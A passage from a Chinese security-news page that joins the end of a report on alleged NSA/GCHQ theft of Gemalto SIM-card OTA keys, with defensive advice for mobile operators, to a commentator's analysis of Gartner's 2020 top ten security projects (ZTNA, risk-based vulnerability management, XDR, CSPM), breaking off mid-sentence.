Verge指出，入侵SIM卡并窃取加密密匙，意味着政府情报机构可以通过间谍程序软件感染特定的手机SIM卡，而不仅仅只是监听手机通讯。如果NSA和GCHQ正在实施这项间谍活动，这将是迄今为止斯诺登爆出的最大威胁之一。
因为间谍程序软件可以安装在SIM卡里，之后可以在用户毫不知情的情况下在手机等设备上安装额外的间谍软件，或是检索设备中的数据。
同时，由于每一张SIM卡都有一个独立的OTA密匙，运营商可以通过OTA让手机进行远程更新。而此次，NSA就是通过OTA密匙进行攻击的。
据安全研究人员透露，OTA密匙可以获得手机几乎所有的权限，甚至可以删除或是追踪OTA更新，让间谍软件可以“在用户面前完全隐藏起来”，而OTA密匙也是情报人员最喜欢的攻击目标。某些恶意软件已经可以利用SIM卡，允许NSA通过隐藏短信获取位置信息，以及从电话簿、文本以及通话记录等获取附加信息。
此外，The
Verge报道还指出，先前泄露的文件已经显示，NSA已经开发出了相应的恶意软件。德国《明镜周刊》也曾披露了NSA的“特定入侵行动”黑客工具包，其中包括猴子日历（MONKEYCALENDAR）和地鼠套装（GOPHERSET）。猴子日历可以通过短信回传手机的位置信息，而地鼠套装可以向手机发送命令，获得联系人清单和手机短信等任何内容。
可以说，2015年披露的这份文档已表明，NSA已经获得了Gemalto的全部网络权限，包括管理OTA密匙的认证服务，所以至少到现在NSA已经获得了他们所想要的所有密匙，情报机构还可以借助这些密钥来破解他们此前捕获却无法解码的旧有通讯数据。
这非常可怕。如果NSA和GCHQ获得了大量的OTA密匙，我们将面临移动安全方面最大的威胁。
当年， 对斯诺登披露的文档进行过大量研究的安全研究员克劳迪欧（ClaudioGuarnieri）由衷感叹。
网络安全既是防线，又是底线。正值国家网络安全周之际，此件事的爆发，无疑再次为我们敲响了警钟。加强网络安全国防建设不仅是势在必行，而且是迫在眉睫。而针对此次移动安全领域的危机，智库为移动运营商提出了一些建议：
1.增强变化的意识，持续更新安全防护能力的意识。此次事件的爆发，意味着依赖现有的安全建议与防护设施已不足以保护自身安全，万物时刻都在变化，攻击者也将在试图攻破现有的“防线”，以新的攻击方式攻破旧的“壁垒”。
2.增强发现“隐藏”攻击，即“看得见”的能力。移动运营商需要不断调查可疑和恶意活动，强化“看得见”的能力，以发现“隐藏”攻击。
3.增强“防御”能力，即“守得住”的能力。加强攻防演练，以防在攻击真正来临时，能做到及时响应、追踪、溯源，将“攻击”扼杀在来的路上。
了解更多国内外网络空间安全资讯
扫码关注“国际安全智库”公共号 | 社区文章 |
# Gartner2020年十大安全项目详解
##### 译文声明
本文是翻译文章，文章原作者 Benny Ye，文章来源：专注安管平台
原文地址：<https://mp.weixin.qq.com/s/yuNalHkhcJJIPNE4QjG_aw>
译文仅供参考，具体内容表达以及含义原文为准。
转载：[专注安管平台](https://mp.weixin.qq.com/s/yuNalHkhcJJIPNE4QjG_aw)
【前言】本文不是译文，是结合笔者自身体会的解读！不能代表Gartner的本意。如有不同观点，欢迎通过本人微信公众号“专注安管平台”进行留言沟通。
## 1 概述
受疫情的影响，2020年中例行的Gartner安全与风险管理峰会被迫取消。终于，在2020年9月14~17日，2020年Gartner安全风险与管理峰会以线上会议的形式补上了。
会上，正式发布了2020年度的十大安全项目，发布人还是Brian
Reed。这十大项目介绍[Gartner中国的官微](http://mp.weixin.qq.com/s?__biz=MzA5NjQyNjMxNA==&mid=2651409687&idx=1&sn=454dfacc068aec447fe6ae00c750fa07&chksm=8b4dad32bc3a2424959f66a05c4d79b4379a584542629ffa457e1dda2a1fb1e6c71dee7ab26c&scene=21#wechat_redirect)做了介绍，但本文认为有几处翻译不妥。2020年的十大安全项目分别是：
* 远程员工安全防护，尤指零信任网络访问（ZTNA）技术；
* 基于风险的弱点管理，重点是基于风险来对弱点分级；
* 基于平台方式的检测与响应，特指扩展检测与响应（XDR）技术；
* 云安全配置管理；
* 简化云访问控制，特指云访问安全代理（CASB）技术；
* 基于DMARC协议的邮件安全防护；
* 无口令认证；
* 数据分类与保护；
* 员工胜任力评估；
* 安全风险评估自动化。
与[2019年度的10大安全项目](http://mp.weixin.qq.com/s?__biz=MzUyNzMxOTAwMw==&mid=2247483855&idx=1&sn=a5f1f85d5f1c8a7c30168c48f6d03241&chksm=fa002b7bcd77a26d6258a73b6e4dde8d7d75c6496f68ce14d7f19510ed198ec28a2a14638ccd&scene=21#wechat_redirect)相比，变化比较大，根据Reed的说法，有8个新项目。不过，在笔者看来，其实有三个2019年的热门项目保留了下来，包括
CSPM、CASB，以及弱点管理。其中CSPM项目名称保持不变，2019年的CASB变成了今年的“简化云访问控制”，其实是一回事。而2019年的“符合CARTA的弱点管理”变成了今年的“基于风险的弱点管理”，其实是进一步确指了用风险管理的理念来管理漏洞和补丁。在2019年十大安全项目详解中，笔者已经指出“符合CARTA的弱点管理”等价于“基于风险的弱点管理”。需要特别指出的是，由于新冠疫情的出现，不仅此次Gartner安全与风险管理被迫延期并改为线上举办，也对2020年的十大安全项目评选产生了重大影响。疫情侵袭之下，远程办公成为热点，如何保障员工远程办公的安全自然成为焦点。此外，从技术的大类来看，好几个领域依然是热门，包括邮件安全、检测与响应、数据安全。邮件安全领域，2019年提出的项目是商业邮件失陷防护，2020年变成了基于DMARC协议的邮件安全防护，其主要目标依然是防范钓鱼邮件。检测与响应领域，2019年主要是推荐EDR，2020年则改为推荐XDR。数据安全领域，2019年推荐的是暗数据发现，2020年换成了数据分类与防护，其实是数据安全生命周期的延续。下表是笔者梳理的近几年10大技术/项目的分类对比。为了便于横向对比，尽可能地对各个技术领域进行了分拆。需要进一步指出地是，在2020年的十大项目中特别增加了风险管理领域的项目，包括安全风险评估自动化以及员工胜任力评估。风险管理领域一直十分重要，只是在近些年越来越强调对抗，强调威胁检测的背景下不那么显眼了。此外，在2020年5月初，Gartner先期发布过[针对中型企业的5大安全项目](http://mp.weixin.qq.com/s?__biz=MzUyNzMxOTAwMw==&mid=2247484140&idx=1&sn=1105fa84d9caec3938d6b4d0285f0648&chksm=fa002858cd77a14ec627e6960b895ec729e5c100820c9c5a388ddb60c3d6882bfd18a78bfc32&scene=21#wechat_redirect)建议，包括：XDR、基于DMARC的邮件安全、无口令认证、远程员工安全，以及安全风险评估自动化。而这其中列举的5个项目全部入选了年度10大安全项目。
## 2 入选标准
除了像往年一样的基本标准和原则，对于2020年的十大安全项目遴选，Gartner重点做了以下考量：1） 疫情影响下的安全支出变化情况；2）
观察2018~2023年间最终用户在不同安全细分领域支出的计划情况；3）
重点关注那些占比和增速大的区域市场情况；Reed在峰会的十大安全项目发布会上表示：“我们可能会花费太多宝贵的时间来过度分析自己在安全性方面所做的选择，试图实现某种根本不存在的完美保护战略。我们必须超越基本的保护决策，通过创新的方法进行检测和响应，并最终从安全事件中恢复，从而提升组织的弹性。”最后，谨记：年度十大安全项目不是年度最酷安全项目，也不是未来十大技术趋势，而是在当年对最终用户而言，从那些如果不做会对业务影响性最大，如果做了会将业务风险降到最低的项目候选清单中选取的能够快速见效，花费相对可控的项目。
## 3 如何定义项目成功与否？
Gartner表示，衡量项目是否成功不在于项目本身，而在于是否支撑好了业务的风险决策。原话说的很好，这里直接摘录如下：Remember your
organization decides whether totake on the risk; our job in security is to
provide all known data points tosupport a business decision.
## 4 上马这些项目的前提条件
一如既往地，Gartner特别强调，客户在考虑上马10大项目之前，一定要考虑到先期的基础安全建设，这些项目都需要建构在基础安全能力达标的情况下。这些基础安全能力包括（但不限于）：
* 在系统防护方面，包括采用最新的EPP和统一端点管理（Unified Endpoint Management，简称UEM）系统，以及服务器安全防护。其中，这里提到的UEM是Gartner定义的区分于EPP的另一个细分市场，强调对包括异构的PC、移动端和物联网终端的统一管理。该市场不属于信息安全市场，而归属于IT运维管理市场。2018年Gartner首次推出了UEM的MQ（魔力象限）。
* 在用户控制方面，包括从windows用户列表中移除掉管理员权限，部署具有自动化预配置/解除配置的IAM。
* 在基础设施安全方面，包括日志监控、备份/恢复能力、补丁和基本的弱点管理，以及各种边界安全控制。
* 在信息处理方面，包括邮件安全控制、安全意识培训、敏感数据处理相关的控制和指引、风险评估等。
## 5 十大项目解析
以下逐一分析这十个项目，对于历年分析过的也一并再次分析。Gartner特别强调，这十个项目并没有优先顺序，采纳者需要根据自身风险的实际情况按需选取。
### 5.1 远程员工安全防护项目
**5.1.1 项目描述**
员工远程办公已经成为2020年的新常态。可以利用零信任战略在使能业务的同时改善远程员工接入网络的安全性。
**5.1.2 项目难度**
容易到中等。必须兼顾连接性、生产力和可度量性。
**5.1.3 项目关键**
安全访问能力必须支持云；IP地址和位置信息已经不足以用于判定网络访问的信任度。
**5.1.4 项目建议**
尽管采用零信任网络访问（ZTNA）的主要动机是取代VPN，但还要注意到ZTNA还能提供针对非受管设备安全访问应用的解决方案。
**5.1.5 技术成熟度**
根据Gartner2020年的网络安全Hype Cycle，ZTNA目前处于青春期阶段，位于失望的谷底。
**5.1.6 技术描述**
很显然，突如其来的疫情使得员工远程办公迅速扩张，如何保障员工安全地，并且尽可能体验友好地访问企业网络和应用成为了十分急迫的议题。企业和组织的管理者必须制定一个全面的远程办公策略，并且和业务部门进行良好的沟通。如何制定策略？首先就要做好需求收集与分析。Gartner提议重点关注4个问题：
* 用户都有谁，他们的工作职责分别是什么？——据此确认不同用户的访问权限和服务优先级；
* 用户都使用何种设备，设备归属于谁？——据此选择针对不同设备的安全防护技术组合；
* 用户都要访问哪些应用和数据，这些应用和数据位于云中还是本地？——据此选择合适的网络访问技术；
* 用户位于哪个地区？——根据用户所在国家（地区）采取相适应的数据安全、隐私保护和法规遵从性等策略。
事实上，针对远程网络访问，有多种技术手段可供选择，包括VPN、ZTNA、CASB、VDI、远程浏览器隔离、反向代理、CDN，等等。它们之间不是简单的替代关系，而是各有用途及适合的使用场景。Gartner在该项目中优先推荐采用零信任理念和零信任网络访问（ZTNA）技术，从而间接使得该项目变成了一个ZTNA项目。Gartner针对本项目推介的样本厂商都是ZTNA厂商，并且主要是基于云的ZTNA厂商。Gartner对零信任的定义参考了《NIST
SP800-207零信任架构》中的定义，并提出了“零信任网络”的概念。Gartner认为，零信任是一种安全范式，它根据情境信息（主要是身份信息）持续评估显式的风险及信任级别，替代原有的隐式信任机制，以适应组织安全形势的风险优化。同时，Gartner认为零信任网络由建立在资产管理和访问管理基础上的三个支柱构成，这三个支柱分别是ZTNA、网络访问控制（NAC）和基于身份的隔离（即之前所称的微隔离）。Gartner将零信任网络访问（ZTNA）定义为一类产品和服务。这些产品和服务创建了基于身份和情境的逻辑访问边界，涵盖用户、一个应用或一组应用程序。这些应用程序（在获得授权之前）被隐藏起来从而无法被发现，只能严格通过信任代理来建立连接和实现访问。代理在允许主体访问之前先验证其身份、情境和策略遵从情况（即先验证再访问），并最小化该主体在网络中向其他位置横向移动的可能性。在Gartner看来，ZTNA未来将成为SASE战略的一部分，与CASB等安全技术一道被SD-WAN封装到边缘计算的安全能力集合中。在Sec-UN上的《无SD-WAN不SASE》一文有一幅形象的图展示了SASE的部署架构，如下所示：
### 5.2 基于风险的弱点管理项目
**5.2.1 项目描述**
弱点管理是安全运营的基本组成部分。补丁从来都不能等同对待，应该通过基于风险优先级的管理方式，找到优先需要处理的弱点并进行补丁管理，从而显著降低风险。
**5.2.2 项目难度**
容易。要利用情境数据和威胁情报对弱点信息进行丰富化。
**5.2.3 项目关键**
要意识到永不可能100%打补丁；和IT运维联合行动（创造双赢）；利用现有的扫描数据和流程；用TVM工具（现在改称VPT）来增强弱点评估以更好确定优先级。
**5.2.4 项目建议**
采用一个通用的弱点管理框架；聚焦在可被利用的弱点上。
**5.2.5 技术成熟度**
Gartner没有将基于风险的弱点管理列为一种独立的技术或者市场，而是看作一个迭代管理过程，将其依附于现有的弱点评估（VA）市场和弱点优先级划分技术（VPT）。然而，笔者认为Gartner搞得太复杂了，基于风险的弱点管理应该与VPT合并。根据2020年的安全运营Hype
Cycle，VA已经处于成熟期，属于主流市场；而VPT位于曲线的顶峰，属于热门技术，处于青春期阶段。
**5.2.6 技术解析**
必须注意，弱点管理不是弱点评估。弱点评估对应我们熟知的弱点扫描工具，包括系统漏扫、web漏扫、配置核查、代码扫描等。而弱点管理是在弱点评估工具之上，收集这些工具所产生的各类弱点数据，进行集中整理分析，并辅以情境数据（譬如资产、威胁、情报等），进行风险评估，按照风险优先级处置弱点（打补丁、缓解、转移、接受，等），从而帮助安全管理人员进行弱点全生命周期管理的平台。记住，弱点管理是平台，而弱点扫描是工具。Gartner表示，基于风险的弱点管理是一个不断迭代提升的过程，包括弱点评估、弱点处置优先级排序、弱点补偿控制三个阶段，如下图所示：上图针对每个阶段列举了可以用到的技术。譬如动态应用安全测试（DAST）、云安全配置评估（CSPA）、破坏与攻击模拟（BAS）、弱点优先级划分技术（VPT，取代之前的TVM）、应用弱点关联（AVC）、安全编排自动化与响应（SOAR）。而基于风险的弱点管理的核心是弱点处置优先级确定。可以采用多种方式去确定这个优先级，但最关键的一点是：聚焦在可被利用的漏洞上。下图是Gartner引述IBM
X-Force的一个统计图。可以看到，历史上可被利用的漏洞占爆出的漏洞的比重还是很低的。下面这个老图也很有说服力。这个图表明用户首先需要关注的是那些实际存在于你的网络环境中的可被利用的漏洞。现实已经表明，漏洞太多了，层出不穷，如果每个重要的（譬如依据CVSS）漏洞都要去处理，是不现实的，应该首先聚焦在可被利用的漏洞上。进一步讲，你如何知道一个漏洞是否已经可被利用？这时候就需要漏洞情报，不是关于漏洞自身的情况，而是关于漏洞利用（EXP）和漏洞证明（POC）的情报。在基于风险的弱点管理方法论中，补偿阶段也很重要。最关键的是要意识打补丁（Patch）仅仅是N分之一个选择项，你还有大量手段可以用。事实上，大量的业务系统留给你足的够时间直接打补丁的机会并不大。这里，笔者对于如何在补丁管理这个事情上取得与IT运维的双赢也有一些建议：安全运营在弱点管理的时候要给到IT运维足够的信息和建议去指导他/她打补丁，而不仅仅是一个告警/工单或者甩过去一个补丁包。这时候Gartner的那句话再次回响：Remember
your organization decides whether to take on therisk; our job in security is
to provide all known data points to support abusiness decision.
谨记，要让漏洞管理闭环，需要安全运营与IT运营共同协作，需要业务部门的参与。作为安全运营，要把自己的工作做好，做到有价值。
### 5.3 平台方式的检测与响应（XDR）项目
**5.3.1 项目描述**
扩展检测与响应（XDR）功能正在涌现，以提升检测的准确性、威胁遏制能力并改善事件管理。
**5.3.2 项目难度**
中等。XDR给到大家的是一个重要的承诺，但也会带来被特定供应商锁定的风险。不同供应商的XDR功能差异很大。
**5.3.3 项目关键**
范化数据的集中存储和集中式事件响应，并且能够改变作为修复过程组成部分的单个安全产品的状态。也就是说，项目关键在于数据范化、集中数据存储、集中事件响应，以及安全设备协同联动。
**5.3.4 项目建议**
基于自身技能水平/胜任力以及员工水平来评估是采用XDR还是寻求MSSP。XDR最初是从EDR发展而来，并进一步结合了NDR、SIEM、SOAR，以及其它安全检测与响应技术，这些技术统统都是高度依赖安全专家的，因此，用户要考虑清楚到底是要XDR产品，还是先找安全服务商用类似MDR的方式来实现检测与响应。
**5.3.5 技术成熟度**
根据Gartner2020年的安全运营Hype Cycle，XDR目前处于初现阶段，位于炒作的初期，位于安全运营Hype Cycle的最左侧。
**5.3.6 技术解析**
XDR的全称是扩展检测与响应。XDR这个词出现在厂商侧已经有一段时间了，但纳入Gartner的体系是今年初的事儿。Gartner将XDR从某些厂商的产品品牌变成了一个细分技术和市场术语。刚刚进入Gartner的术语表就登上了10大安全项目，可见XDR的威力。借助XDR，将原本各种检测系统的孤立告警进行了整合，通过在各种检测系统之上的数据集成与综合关联分析，呈现给用户更加精准和有价值的告警，以及更清晰的可见性（Visibility）。此外，XDR还具备与单一的安全工具之间的API对接与基础的编排能力，从而能够快速地实施告警响应与威胁缓解。XDR异军突起，成为了Gartner在安全运营的检测与响应子领域首推的技术和项目，因此有必要进一步对其进行探究。笔者作为一直专注于SIEM/SOC领域的从业者也关注XDR近两年，下面进一步阐述个人对XDR的理解。
**5.3.6.1 XDR的产生**
现在普遍认为XDR最早源于端点检测与响应（EDR）。EDR的概念自提出以来，得到了迅速发展，一方面逐渐向端点保护平台EPP融合，另一方面也在试图扩展自身的价值。如何扩展？首先是增强端点检测的能力，深化诸如行为分析、异常检测等的机器学习能力，并加入威胁猎捕的能力；其次是增强响应的能力，实现更灵活的设备联动，甚至嵌入部分响应流程。但这还不够，因为从检测的角度来看，仅仅依靠端点自身的遥测数据还不够，为了更精准的发现问题，还需要获取其它遥测数据。因此，部分EDR厂商开始将目光投向端点之外的检测，加入对邮件安全的检测、网络检测、以及云工作负载的检测信息，试图顺着攻击者的视角补全检测的短板。再往后干脆将这些不同来源的遥测数据放到一个统一的平台上进行集中的分析与响应，逐步衍生出了XDR的概念。此时XDR的保护目标已经不再局限于端点上的用户，以及他们使用的应用和数据，而是扩展到了更广泛的空间，从数据中心，到云，再到边缘，都可以应用XDR。当EDR演进成了XDR，就已经不再是一个端点安全类产品了。显然，这是一个从EDR开始，从一点到多点，自底向上的横向扩展，纵向延伸的过程。与此同时，一些SIEM厂商也发现了这个机会，试图在其SIEM中内置EDR功能来获取对于端点安全的遥测数据，以更好地去让SIEM实现威胁检测的能力。这是一个自顶向下延伸的过程。基于共同的目标（威胁检测与响应），来自不同方向的技术路线碰撞到了一起，于是XDR诞生了。
**5.3.6.2 XDR定义**
从前面的XDR产生过程可以发现，XDR其实就是整合了多种检测能力的，具有集中化存储和分析这些遥测数据，并集中实施响应的综合性检测与响应平台。目前，Gartner给XDR的定义是：XDR是一种基于SaaS的，绑定到特定供应商的安全威胁检测和事件响应工具，可以将（该供应商的）多个安全产品原生地集成到一个统一的安全运行系统中，以统一所有授权的安全组件。为了方便大家研读，提供英文原文如下：XDR
is a SaaS-based, vendor-specific, security threat detection andincident
response tool that natively integrates multiple security products intoa
cohesive security operations system that unifies all licensed
securitycomponents.Gartner给出了当前XDR的4个基本特征：1）整合多款自家的现成产品；2）集中的对数据进行处理、存储和分析；3）能够在响应的时候协同联动多种安全产品；4）采用基于SaaS的交付模式。上图展示了Gartner的XDR概念架构。从上向下看【笔者注：反的，有点别扭】，首先是获取多种安全产品（EDR是基础）的数据，然后是对数据进行范化，送入大数据湖，再进行关联分析，实现综合威胁检测，最后激活响应。在响应的时候，可以运用自动化的方式，通过API接口实施，并且可以内嵌响应工作流程。作为参考，笔者摘录对XDR颇有研究的咨询公司ESG对XDR的定义如下：XDR是一个跨混合IT架构的多个安全产品的集成套件，旨在协同地进行威胁防范、检测与响应。它将各种控制点、安全遥测点、分析和运营统一到一个企业级系统之中。上图是ESG的XDR架构示意图。ESG更直接表示可以把XDR看作是EDR+SIEM+SOAR的集合。笔者认为，XDR=EDR+简化SIEM+简化SOAR。XDR的目标就是全面的威胁检测与响应，或者叫统一威胁检测与响应（UDR）、NGDR。1）
EDR是XDR的必备组件。当前的威胁检测必然要从端点上收集遥测数据，因为这里能够发现的攻击痕迹最多。看看ATT&CK就知道，大量的TTP都是基于端点的。缺少端点数据，攻击链很难刻画出来。2）
简化的SIEM是XDR的平台支撑。XDR不是一个简单的单点系统，而是一个平台型系统。SIEM的大数据核心框架为XDR的后端平台提供技术支撑，包括海量多源异构数据的采集、处理、存储、分析、调查、呈现，等等。借助SIEM平台框架，XDR应实现对EDR以及其它自家安全设备的集成。简化之处在于仅提供对厂商自有产品的数据采集、范化和分析，而不必考虑接入第三方厂商数据的问题。3）
简化的SOAR为XDR的响应能力提供支撑。SOAR的能力裁剪后跟SIEM整合到一起。
**5.3.6.3 XDR与SIEM/SOAR的关系**
通过上面的分析，大家都会产生一个疑问：XDR跟SIEM/SOAR是什么关系？注意，这里我们将SIEM/SOAR打包到一起来跟XDR进行对比，是为了避免阐释SIEM和SOAR的关系，此刻这个问题先放一边。先看看Gartner是怎么说的。Gartner表示，尽管XDR与SIEM/SOAR在功能上存在相似性（譬如都有异构数据采集、范化、关联，而且通常都会采用大数据分析技术，还可能都有剧本编排与自动化响应技术），但在目标定位和技术路线上存在差异。在目标定位上，XDR仅关注威胁检测与响应，而SIEM除了关注威胁检测与响应，还要覆盖日志存储及合规审计等其它场景。在技术路线上，XDR强调对单一厂商的安全产品集成，并且在出厂前就将这些产品打包在一起，提供了更易于部署和使用的操作过程。相比之下，SIEM/SOAR必须具备跨厂商产品集成能力。正是因为在设计上的这些简化，XDR规避了SIEM/SOAR当前存在的几个大坑（笔者注：譬如架构开放性和扩展性问题、产品集成问题、部署和实施复杂性问题、知识管理问题），使得XDR的部署和实施复杂度相较于SIEM/SOAR要简化不少。此外，如果是针对云计算环境，云中的端点安全和工作负载安全能力，以及平台架构作为成为了衡量云安全检测与响应的关键。此时，XDR厂商比大部分SIEM/SOAR厂商更占优势，因为先进的XDR通常都基于云原生架构来实现。并且，XDR厂商在云端EDR及CWPP方面更具优势。简言之，就是在相同条件下，以威胁检测为目标，XDR出效果比SIEM/SOAR更快。当然，Gartner认为XDR也存在一些问题。由于XDR集成的都是自家的产品，虽然简化了不少，但却容易将用户锁定在单一厂商之下。XDR厂商的“全家桶”模式难以确保除EDR之外的检测能力都是同类最佳，且如果各种单点产品都基于同一个厂商，未来的维护、升级都存在风险。此外，笔者认为，XDR还存在以下问题：首先，XDR还有不少技术短板需要补齐。在多源安全数据采集分析，尤其是关联分析方面，XDR厂商普遍落后于SIEM厂商。在响应方面，SOAR的编排自动化技术也是XDR需要补足的。其次，也是最关键的，XDR是作为一个集成化的产品和解决方案提供给客户的，用于解决其一揽子的威胁检测与响应的问题。而新一代的SIEM/SOAR则越来越强调给用户赋能，是以能力建设的形式输出给用户的。对于大型用户而言，网络中必定存在不同厂商的安全防护设施，也必定需要一个统一的SOC。因此，XDR无法取代SIEM/SOAR。但对于中型客户而言，XDR可能会在SOC中占据更主要的位置。还有一部分客户，Gartner建议他们既不要考虑XDR，也不要考虑SIEM/SOAR，而是优先考虑MSS。XDR虽然比SIEM/SOAR简化了不少，但还是需要运营的。必须指出，Gartner对于XDR还在不断厘清的过程中，该技术（所代表的细分市场）并不稳定，也许在一段时间后会消失。因为XDR与SIEM/SOAR存在一定的重叠性，并且更多是因为SIEM/SOAR技术的发展过程中存在的问题而引伸出来的一个“过渡性”解决方案，也许随着SIEM/SOAR的成熟而消失，抑或找到一个属于自己的缝隙市场。
**5.3.7 从检测技术的划分看XDR的发展趋势**
**5.3.7.1 检测技术划分**
如前所述，XDR可以看作是多种检测与响应技术的集成，作为一个统一的、全面的检测与响应平台。对XDR而言，不是要研究新的检测与响应技术，而更多是考虑如何将不同的检测与响应技术整合到一起。因此，为了了解XDR未来的发展趋势，必须先了解当下都有哪些检测与响应技术。当Gartner研究和讨论检测与响应类技术的时候，涉及的技术面和细分市场是相当广泛的，需要多个不同的Gartner安全分析师团队之间的合作，而一年一度的Hype
Cycle（炒作曲线）则是各个分析师协作的一个成果体现。目前，检测和响应相关的技术大都收录在“安全运营”炒作曲线中。“安全运营”这两个炒作曲线分类是2020年新提出来的，之前叫“面向威胁”，始于2017年，在2016年及以前叫“基础设施保护”。下图是2020年的“安全运营”技术炒作曲线，里面基本涵盖了Gartner涉及的所有检测与响应类技术。上图虽然列举了大量检测与响应技术，却并没有对他们进行分类。而对检测与响应技术进行分类是一个重要但十分困难的事情，Gartner自己也做过多种尝试，目前尚无定论。Gartner在2013年为了讨论高级威胁检测（ATD）的时候提出了一个划分新型检测技术的方法论，虽在2016年后逐渐淡出Gartner报告的视野，但却依然有一定价值。如下图所示，Gartner当时从分析对象和分析时间两个维度划分了五种新型检测技术：针对这幅图，笔者结合自己的认识，对当下主流的几种新型检测技术进行了标注如下：可以看到，NTA是当下主流的基于网络的新型检测技术，NFT（网络取证工具）作为基于网络的响应技术比较少被提及。从2020年开始，Gartner正式将NTA改名为NDR（网络检测与响应）。注意，上图只对D进行了划分，没有提及R。因此，NDR不仅包括NTA，NFT，还要包括响应能力。对应NDR，现在还有一个初现的提法，叫NGIDS，或者NG
IDPS，所谓下一代入侵检测，但这些提法缺乏对R的体现。从基于端点的视角来看，style4和style5两种技术现在已经不再加以区分，统称为EDR，或者作为下一代EPP的关键能力之一了。上图中位于中间的基于负载的检测技术，基本就是指代沙箱技术了。而该技术事实上还可以分解到基于端点的沙箱和基于网络的沙箱两个维度中去，成为更广泛意义上的NDR和EDR的功能点之一。上图对于阐释当下最热门的两种新型检测与响应技术——NDR和EDR——及其市场演进是有价值的，但却远远无法表达完整意义上的检测与响应技术，更何况检测与响应技术本身也仅仅检测与响应体系建设的一环而已。2018年，Gartner在一份名为《如何开展威胁检测与响应实践》的报告中给出了一个基本的检测与响应体系的参考模型，如下图：上图比较全面地表达了检测与响应体系所应涵盖的技术（能力）、流程和团队三个方面的内容，给出了10个技术能力和4个关键流程，并沿用至今。这10个技术能力从目标对象和时间先后两个维度进行了划分，与前面的新型威胁检测二维划分方式基本一致。不同之处在于目标对象粒度更细，最关键地是加入了针对日志的检测与响应，并把SIEM和CLM（集中日志管理）作为最基本的检测与响应的平台，位置要高于后面4个。此外，在这个10大技术能力矩阵图中，响应能力从技术视角来看被称作了“可见性”，所谓可见性就是在威胁猎捕和安全响应（包括调查、取证）的时候能够提供相关的技术支撑。检测与响应能力从流程视角对应了4个方面，它们从技术上可以由SOAR来提供支撑。事实上，即便是上面的10+4检测与响应参考架构图都没能将检测与响应技术描绘全，譬如基于用户/实体进行检测的UEBA技术，以及欺骗技术。Gartner自己也表示上图仅仅是针对基本的检测与响应能力进行阐释。额外需要提及的包括UEBA、欺骗平台、BAS。在2020年的炒作曲线中，UEBA已经去掉了，Gartner表示它已经成为了其它技术的组成部分，主要是融入了SIEM，而XDR、EDR和NDR也都会用到。Gartner将欺骗技术单独作为一个技术分支，与面向日志的检测与响应技术、面向网络的检测与响应技术和面向端点的检测与响应技术并称为四大检测与响应技术路线。对于SIEM而言，欺骗平台的告警可以成为一个高置信度的数据源。BAS（破坏与攻击模拟）也是一种检测与响应技术，可以为SIEM提供重要的基于验证的检测与响应能力补充。
**5.3.7.2 XDR发展趋势分析**
笔者认为，未来XDR理论上可以集成上面所有检测与响应技术，但那个时候XDR是不是还叫XDR就不得而知了。目前市场上已经出现了将EDR、欺骗技术、NDR集成到一起的XDR解决方案。还有的厂商把SIEM/LM所具备的对第三方日志采集、存储与分析能力作为其XDR解决方案的一部分。几乎所有的XDR厂商都宣称自己具有UEBA能力，并都集成了威胁情报。进一步分析当前的XDR厂商，可以发现大家的做法可谓五花八门。最经典的XDR来自有实力的EDR厂商，这些EDR厂商同时具备其它检测类产品，因而通常也都是综合性厂商。他们的XDR基本上就是以EDR为核心的产品全家桶。还有一类更大型的综合性厂商野心更大。他们将其各种产品打包到一起，上面再戴个帽子，形成了一个更雄心勃勃的战略和XDR解决方案，仔细一看，其实就是把XDR变成了SIEM/SOAR和SOC平台。还有一类厂商则剑走偏锋，把XDR做成了一个检测与响应中间件（中台？也许吧），对下可以接入自家或者别家的遥测数据，对上则可以汇入别家的SIEM/SOAR。最后，还有SIEM厂商也加入了XDR战场，他们基于其SIEM/SOAR领域的积累，向下集成包括EDR、NDR在内的多种检测技术，推出自己的XDR。总体而言，当前的XDR技术并不复杂，核心是产品和能力集成与打包。目前大家在XDR市场竞争的焦点主要不在技术上，而在商业模式、市场推广上。显然，XDR还处于萌芽状态，未来发展的可能性还很多，变数也不小。
### 5.4 云安全配置管理（CSPM）项目
**5.4.1 项目描述**
现在对云服务的攻击基本都利用了客户对云疏于管理、配置不当等错误。因此，云用户急需对（尤其是跨多云环境下的）IaaS和PaaS云安全配置的正确性与合规性进行全面、自动化地识别、评估和修复。
**5.4.2 项目难度**
中等，必须同步进行流程和文化的变革。
**5.4.3 项目关键**
支持多云环境，具备敏感数据发现和风险暴露面评估，支持所有的IaaS和PaaS服务，不仅能评估更要能修复。
**5.4.4 项目建议**
与云运营团队密切协作；先从单一的原生云平台开始入手，通常他们自带CSPM能力，然后再考虑混合云/多云平台；宜同时评估CSPM和CASB工具。
**5.4.5 技术成熟度**
在Gartner的2020年云安全Hype Cycle中，CSPM刚从失望低谷走出来，用户期待逐渐理性，处于早期主流阶段。
**5.4.6 技术解析**
CSPM（Cloud Security Posture
Management）在国内首先遇到的问题是如何翻译的问题。国内有的人将CSPM中的Posture翻译为“态势”，将CSPM称作云安全态势管理。笔者认为不妥，因为如此一来就跟我们国内最近几年提的安全态势感知混淆了。仔细研究CSPM，可以发现，这里的Posture并不是讲我们国人一般所理解的“态势”，而是指“保护云中数字资产的各种策略、流程和控制的整体安全强度的相对度量”（这句话出自Gartner的CSPM发明人Neil
McDonald的报告《Innovation Insight for Cloud Security Posture
Management》）。简单地说，CSPM中的P是指云安全配置的强度，这里的配置涵盖云安全策略、控制项、安全操作流程规范。因此，笔者从Gartner提出CSPM伊始就呼吁国内同行将CSPM翻译为“云安全配置管理”。一方面这个翻译更贴近CSPM的本质，另一方面也很好地与国内讲的态势感知区分开来。回到CSPM技术本身，Gartner在2019年才给出了一个CSPM的概念组成，如下图所示。Gartner认为CSPM是一个持续的过程，采用生命周期方法论给出了CSPM的概念组成，横跨开发和运行两个阶段，依照CARTA理念进行基于风险的动态配置管理。Gartner表示，几乎所有针对云的成功攻击都是由于客户误配置、管理失误和认为错误造成的，而CSPM直接针对这个问题给出解决方案。根据Gartner的定义，CSPM能够通过预防，检测，响应和预测构成的自适应安全架构来持续管理超越依据通用框架、合规要求及企业安全策略所能承受的云安全风险【笔者注：简单理解就是管控多余的风险。只要开展业务，任何配置都不能做到无风险，CSPM不是消灭配置风险，而是管控超出预期的配置风险】。CSPM核心能力是提供主被动发现和评估云服务配置（譬如网络和存储配置）和安全设置（譬如账号特权和加密设置）的风险及可信度。如果设置不合规或者配置超越了风险承受水平，CSPM能够自动进行配置调整和补救。有时候，我们可以将CSPM的评估功能（也被称作CSPA）归入弱点扫描类产品中去，跟漏扫、配置核查搁到一块。此外，CSPM除